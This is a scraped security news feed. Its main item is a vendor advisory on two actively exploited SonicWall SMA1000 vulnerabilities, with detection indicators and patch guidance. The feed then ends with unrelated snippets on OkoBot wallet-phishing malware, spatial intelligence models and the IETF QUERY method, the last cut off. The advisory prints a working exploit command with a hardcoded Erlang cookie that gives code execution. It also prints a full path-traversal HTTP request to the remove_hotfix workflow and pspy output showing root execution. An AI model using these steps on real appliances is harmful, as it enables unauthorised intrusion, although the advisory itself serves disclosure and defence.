<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 14, 2026, SonicWall </span><a href="https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008" target="_blank"><span>published</span></a><span> a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-15409" target="_blank"><span>CVE-2026-15409</span></a><span> (CVSS 10.0) and the high-severity code injection vulnerability </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-15410" target="_blank"><span>CVE-2026-15410</span></a><span>. The advisory urges customers to immediately apply the latest platform hotfix releases.</span></p><p><span>Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based </span><span><span data-type="inlineCode">remove_hotfix</span></span><span> workflow.</span></p><p><span>Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was </span><a href="https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008#EITW" target="_blank"><span>noted</span></a><span>, and both </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15409" target="_blank"><span>CVE-2026-15409</span></a><span> and </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15410" target="_blank"><span>CVE-2026-15410</span></a><span> have been added to CISA's Known Exploited Vulnerabilities (</span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank"><span>KEV</span></a><span>) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis. A Python proof-of-concept for CVE-2026-15409 is available </span><a href="https://github.com/remmons-r7/rapid7-CVE-2026-15409"><span>here</span></a><span> for exposure validation, and a Metasploit module for the chain is in development.</span></p><p><span>Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:</span></p><ul><li><p><span>12.4.3-03245</span></p></li><li><p><span>12.4.3-03387</span></p></li><li><p><span>12.4.3-03434 (platform-hotfix)</span></p></li><li><p><span>12.5.0-02283</span></p></li><li><p><span>12.5.0-02624</span></p></li><li><p><span>12.5.0-02800 (platform-hotfix)</span></p></li></ul><p><span>These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.</span></p><h2>Technical overview</h2><p><span>The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By providing host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploiting in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. </span></p><p><span>We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.</span></p><pre language="html"># python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&amp;serviceType=SSH&amp;host=0.0.0.0&amp;port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami &amp;&amp; id &amp;&amp; pwd &amp;&amp; hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 =&gt; couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma</pre><p><span></span></p><p><span>With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as “../../../../var/tmp/privesc”. The system executes the script as root and (typically) reboots the appliance immediately after.</span><br><span>An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:</span></p><pre language="html">POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&amp;command=rollback&amp;rollbackUpgradeTime=&amp;hotfix=../../../../../tmp/1234.sh&amp;rollbackHotfixTime=</pre><p><span></span></p><p><span>If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:</span></p><pre language="html">2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now</pre><p><span></span></p><p><span>A Python proof-of-concept for CVE-2026-15409 is available </span><a href="https://github.com/remmons-r7/rapid7-CVE-2026-15409" target="_blank"><span>here</span></a><span>; a Metasploit module for the chain is in development.</span></p><h2>Mitigation guidance</h2><p><span>Organizations operating SonicWall SMA1000 appliances should </span><span><strong>immediately upgrade</strong></span><span> to the latest platform hotfix releases.</span></p><p><span>Fixed versions are:</span></p><table><colgroup data-width="609"><col><col></colgroup><thead><tr><th><p><span>Product</span></p></th><th><p><span>Fixed Version</span></p></th></tr></thead><tbody><tr><td><p><span>SMA1000 Series (6210, 7210, 8200v)</span></p></td><td><p><span>12.4.3-03453 (platform-hotfix) or later</span></p></td></tr><tr><td><p><span>SMA1000 Series (6210, 7210, 8200v)</span></p></td><td><p><span>12.5.0-02835 (platform-hotfix) or later</span></p></td></tr></tbody></table><p><span></span></p><p><span>There are </span><span><strong>no workarounds</strong></span><span> available.</span></p><p><span>Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:</span></p><ul><li><p><span>Performing a thorough forensic review for indicators of compromise.</span></p></li><li><p><span>Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.</span></p></li><li><p><span>Changing user and administrator passwords.</span></p></li><li><p><span>Resetting TOTP tokens following confirmed compromise.</span></p></li></ul><p><span>Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.</span></p><h2>Observed exploitation</h2><p><span>Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.</span></p><p><span>With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.</span></p><h2>Artifacts or evidence sources and IOCs</h2><p><span>Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:</span></p><h3><span>Characteristic Behaviors</span></h3><ul><li><p><span><strong>Websocket exploit IOC log patterns:</strong></span><span> extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “0.0.0.0”, “localhost”, or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.</span></p></li><li><p><span><strong>Hotfix removal exploit IOC log patterns:</strong></span><span> The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.</span></p></li><li><p><span><strong>Internet-facing probing:</strong></span><span> Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).</span></p></li><li><p><span><strong>Authentication activity:</strong></span><span> Authentication-API activity against /__api__/logon/&lt;session-id&gt;/authenticate.</span></p></li><li><p><span><strong>Sensitive path access:</strong></span><span> Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.</span></p></li><li><p><span><strong>AD/Service Account Compromise:</strong></span><span> NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.</span></p></li></ul><ul><li><p><span><strong>extraweb_access.log:</strong></span><span> Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.</span></p></li></ul><h3><span>Configuration artifacts</span></h3><ul><li><p><span>/var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.</span></p></li></ul><h3><span>Atomic Indicators</span></h3><ul><li><p><span><strong>F.N.S Holdings Limited (ASN - 206092): </strong></span><span>The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:</span></p></li><ul><li><p><span>45.131.194.0/24</span></p></li><li><p><span>45.146.54.0/24</span></p></li><li><p><span>63.135.161.0/24</span></p></li><li><p><span>173.239.211.0/24</span></p></li><li><p><span>193.37.32[.]179</span></p></li><li><p><span>193.37.32[.]214</span></p></li><li><p><span>216.73.163[.]151</span></p></li><li><p><span>216.73.163[.]158</span></p></li></ul></ul><p><span>If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.</span></p><h2>Rapid7 customers</h2><p><span>Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.</span></p><p><span>Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.</span></p><h3>Exposure Command, InsightVM, and Nexpose</h3><p><span>Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to </span><span><strong>CVE-2026-15409</strong></span><span> and </span><span><strong>CVE-2026-15410</strong></span><span> with authenticated vulnerability checks available in the July 15 content release.</span></p><h2>Updates</h2><p><span><strong>July 15, 2026:</strong></span><span> Initial publication.</span></p>]]></content:encoded>
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<title><![CDATA[OkoBot steckt in Wallet-Apps: Seed-Phrase-Phishing per USB-Trigger und C2-Flags]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Kaspersky warnt vor dem Malware-Framework OkoBot, das Wallet-Nutzer über die Desktop-Apps von Ledger und Trezor gezielt zur Eingabe von Recovery Phrases bringt. Besonders tückisch: Das Phishing rendert die Betrugsseite in der legitimen Elektron-App selbst und wartet teils, ...]]></description>
<link>https://tsecurity.de/de/3671462/it-security-nachrichten/okobot-steckt-in-wallet-apps-seed-phrase-phishing-per-usb-trigger-und-c2-flags/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671462/it-security-nachrichten/okobot-steckt-in-wallet-apps-seed-phrase-phishing-per-usb-trigger-und-c2-flags/</guid>
<pubDate>Wed, 15 Jul 2026 19:23:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-okobot-wallet-phishing.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-okobot-wallet-phishing.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-okobot-wallet-phishing-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-okobot-wallet-phishing-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-okobot-wallet-phishing-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-okobot-wallet-phishing-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-okobot-wallet-phishing-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Kaspersky warnt vor dem Malware-Framework OkoBot, das Wallet-Nutzer über die Desktop-Apps von Ledger und Trezor gezielt zur Eingabe von Recovery Phrases bringt. Besonders tückisch: Das Phishing rendert die Betrugsseite in der legitimen Elektron-App selbst und wartet teils, bis ein Gerät per USB tatsächlich angeschlossen ist. Laut Telemetrie des GReAT-Teams liefen die […]</p>
<div><a href="https://www.it-boltwise.de/okobot-steckt-in-wallet-apps-seed-phrase-phishing-per-usb-trigger-und-c2-flags.html">... den vollständigen Artikel <strong>»OkoBot steckt in Wallet-Apps: Seed-Phrase-Phishing per USB-Trigger und C2-Flags«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/okobot-steckt-in-wallet-apps-seed-phrase-phishing-per-usb-trigger-und-c2-flags.html">OkoBot steckt in Wallet-Apps: Seed-Phrase-Phishing per USB-Trigger und C2-Flags</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[OkoBot Malware Framework Injects Seed Phrase Phishing Into Ledger and Trezor Apps]]></title>
<description><![CDATA[A malware framework called OkoBot has been running on Windows machines since April 2025, and one of its modules is built to con hardware wallet owners out of their recovery phrase. On an infected PC, the request comes from inside…
Read more →
The post OkoBot Malware Framework Injects Seed Phrase ...]]></description>
<link>https://tsecurity.de/de/3671459/it-security-nachrichten/okobot-malware-framework-injects-seed-phrase-phishing-into-ledger-and-trezor-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671459/it-security-nachrichten/okobot-malware-framework-injects-seed-phrase-phishing-into-ledger-and-trezor-apps/</guid>
<pubDate>Wed, 15 Jul 2026 19:23:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A malware framework called OkoBot has been running on Windows machines since April 2025, and one of its modules is built to con hardware wallet owners out of their recovery phrase. On an infected PC, the request comes from inside…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/okobot-malware-framework-injects-seed-phrase-phishing-into-ledger-and-trezor-apps/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/okobot-malware-framework-injects-seed-phrase-phishing-into-ledger-and-trezor-apps/">OkoBot Malware Framework Injects Seed Phrase Phishing Into Ledger and Trezor Apps</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[OkoBot Malware Framework Injects Seed Phrase Phishing Into Ledger and Trezor Apps]]></title>
<description><![CDATA[A malware framework called OkoBot has been running on Windows machines since April 2025, and one of its modules is built to con hardware wallet owners out of their recovery phrase.

On an infected PC, the request comes from inside the wallet's own desktop software. Sometimes it waits until you pl...]]></description>
<link>https://tsecurity.de/de/3671394/it-security-nachrichten/okobot-malware-framework-injects-seed-phrase-phishing-into-ledger-and-trezor-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671394/it-security-nachrichten/okobot-malware-framework-injects-seed-phrase-phishing-into-ledger-and-trezor-apps/</guid>
<pubDate>Wed, 15 Jul 2026 18:41:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A malware framework called OkoBot has been running on Windows machines since April 2025, and one of its modules is built to con hardware wallet owners out of their recovery phrase.

On an infected PC, the request comes from inside the wallet's own desktop software. Sometimes it waits until you plug the device in first. The page is malicious. The app around it is the real one you installed, and]]></content:encoded>
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<title><![CDATA[The rise of spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
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<title><![CDATA[IETF publishes QUERY method to allow safe and idempotent HTTP requests]]></title>
<description><![CDATA[When an HTTP request is too long or complex to be encoded in its URI using GET, developers have long resorted to using the POST method as a workaround. However, this can create issues; while GET requests are defined as safe and idempotent, POST does not necessarily share those characteristics.


...]]></description>
<link>https://tsecurity.de/de/3671156/ai-nachrichten/ietf-publishes-query-method-to-allow-safe-and-idempotent-http-requests/</link>
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<pubDate>Wed, 15 Jul 2026 17:19:26 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When an HTTP request is too long or complex to be encoded in its URI using GET, developers have long resorted to using the POST method as a workaround. However, this can create issues; while GET requests are defined as safe and idempotent, POST does not necessarily share those characteristics.</p>



<p class="wp-block-paragraph">To combat the problem, the Internet Engineering Task Force (IETF) has published a proposed standard HTTP request method, <a href="https://www.rfc-editor.org/rfc/rfc10008.html">QUERY</a> (RFC 10008), which bridges the two functions, taking the best of each.</p>



<p class="wp-block-paragraph">A safe method is <a href="https://rfc-editor.org/rfc/rfc9110#section-9.2">defined</a> as one which is “essentially” read-only, where “the client does not request, and does not expect, any state change on the origin server as a result of applying a safe method to a target resource. Likewise, reasonable use of a safe method is not expected to cause any harm, loss of property, or unusual burden on the origin server,” the IETF standards document states. And when a request is idempotent, no matter how many times it is retried, the intended effect on the server of multiple identical requests with that method is the same as the effect for a single such request.</p>



<p class="wp-block-paragraph">POST requests do not always fulfill those criteria. But QUERY requests do. The input to the QUERY operation is, like POST, passed as the content of the request, rather than as part of the request URI as it is with GET. Unlike POST, QUERY allows functions such as caching and automatic retries to operate, precisely because it is safe and idempotent.</p>



<h2 class="wp-block-heading">Read-only in disguise</h2>



